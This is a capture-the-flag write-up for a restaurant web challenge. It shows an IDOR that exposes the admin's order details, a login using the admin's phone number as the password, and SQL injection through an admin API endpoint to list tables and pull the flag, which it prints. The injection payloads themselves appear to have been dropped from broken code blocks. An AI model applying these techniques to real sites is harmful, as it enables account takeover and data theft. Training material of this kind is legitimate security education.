Tags: sql-injection idor
Rating: 5.0
## Challenge Description
A client wanted me to create a website for their restaurant. I wouldn't worry too much about giving your order details, but clients are weird, right? Unfortunately, the admin keeps using their personal information as passwords. I keep telling them that I'll set a good flag, but they never listen.
## Initial Reconnaissance
When I first accessed the website, I was greeted with a standard login/register page - nothing special at first glance.
Peeking at the page source, I spotted a reference to a JavaScript bundle:
```html
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Smoke & Mirrors</title>
<script src="/static/bundle.js" defer></script>
<link rel="icon" href="/static/favicon.ico" />
</head>
<body >
<div id="root"></div>
</body>
</html>
```
## JavaScript Analysis
Diggin into that bundle.js file and looking through the massive JavaScript file, I discovered an interesting function making API calls to two endpoints:
```jsx
const admin_data = () => {
const [adminData, setAdminData] = useState({});
const [loading, setLoading] = useState(true);
useEffect(() => {
// First admin endpoint
fetch("/api/admin")
.then((response) => response.json())
.then((data) => {
setAdminData(data);
setLoading(false);
});
// Second admin endpoint with /dev path
fetch("/api/admin/dev/users/admin")
.then((response) => response.json())
.then((data) => {
console.log("Admin Dev Data:", data);
});
}, []);
}
```
Both endpoints gave me "unauthorized" errors when I tried them directly. But now I knew what to aim for - I needed admin access!
## User Account Creation
I created a regular account and inspected the JWT token:
```
{
"alg": "HS256",
"typ": "JWT"
}
{
"email": "admin",
"exp": 1743610236,
"id": 1,
"name": "admin",
"role": "customer"
}
```
I needed to become an "admin" somehow, but simply modifying the JWT wouldn't work without the signing key.
## Exploring Functionality
I decided to explore the site as a normal user. The order functionality looked promising, but the address validation kept rejecting my inputs. I went back to the Checkout() function in bundle.js and found pages of validation rules, including functions like:
```jsx
function isValidAddress(full_address, state, country, postal_code) {
const postalCodeRegex = {
US: /^[0-9]{5}(-[0-9]{4})?$/, // USA ZIP Code format
CA: /^[A-Za-z]\d[A-Za-z] ?\d[A-Za-z]\d$/, // Canada postal code format
UK: /^[A-Z]{1,2}\d[A-Z\d]? ?\d[A-Z]{2}$/i, // UK postcode format
AU: /^\d{4}$/, // Australia postal code format
};
// Many more validation rules...
}
```
After finally placing an order, I noticed the confirmation page URL followed a pattern:
```
http://leaky-endpoints.aws.jerseyctf.com/Orders/15/104
```
What if I could peek at other orders? And what if the very first order was placed by the admin? It totally makes sense to be placed by the admin
```
http://leaky-endpoints.aws.jerseyctf.com/Orders/1/1
```
I found the admin's order information:
```
Name: Admin User
Email: [email protected]
Full Address: 123 Main St
State: NJ
Country: USA
Postal Code: 12345
Phone: 5111111111
Status: confirmed
Created At: 2023-03-29T03:59:14Z
```
## Gaining Admin Access
Remember the challenge hint? *"The admin keeps using their personal information as passwords."*
I tried logging in as [email protected] with the phone number 5111111111 as the password and it worked.
## Exploiting Admin Endpoints
With my new admin account, I first tried hitting:
```
http://leaky-endpoints.aws.jerseyctf.com/api/admin/dev/users/admin
```
It returned an error, but a very informative one:
```
{"error": "failed to get user: no such column: admin"}
```
That smells like a SQL injection opportunity! But first, let's check the other admin endpoint:
```
http://leaky-endpoints.aws.jerseyctf.com/api/admin/users
```
This gave me a full list of all the users in the system:
```json
[
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"role": "admin"
},
{
"id": 2,
"name": "Abc",
"email": "[email protected]",
"role": "customer"
},
{
"id": 3,
"name": "mark",
"email": "[email protected]",
"role": "customer"
},
{
"id": 4,
"name": "{(#?)}",
"email": "[email protected]",
"role": "customer"
},
{
"id": 5,
"name": "admin",
"email": "[email protected]",
"role": "customer"
}
]
```
Useful, but not the flag I was looking for.
## SQL Injection
That error message suggested I could inject some SQL. I tried enumerating the database tables:
```
Success! The database revealed several tables:
```json
{
"name": "flag"
},
{
"name": "menu_items"
},
{
"name": "order_info"
},
{
"name": "order_items"
},
{
"name": "orders"
},
{
"name": "sqlite_sequence"
},
{
"name": "users"
},
{
"name": "flog3"
}
```
The table named `flog3` caught my attention. I tried extracting its contents:
```
And there it was, the flag. I had secured first blood on this challenge.
```json
{
"name": "admin"
},
{
"name": "jctf{id0Rs$UmWqYsloumcnHnNp}"
}
```
good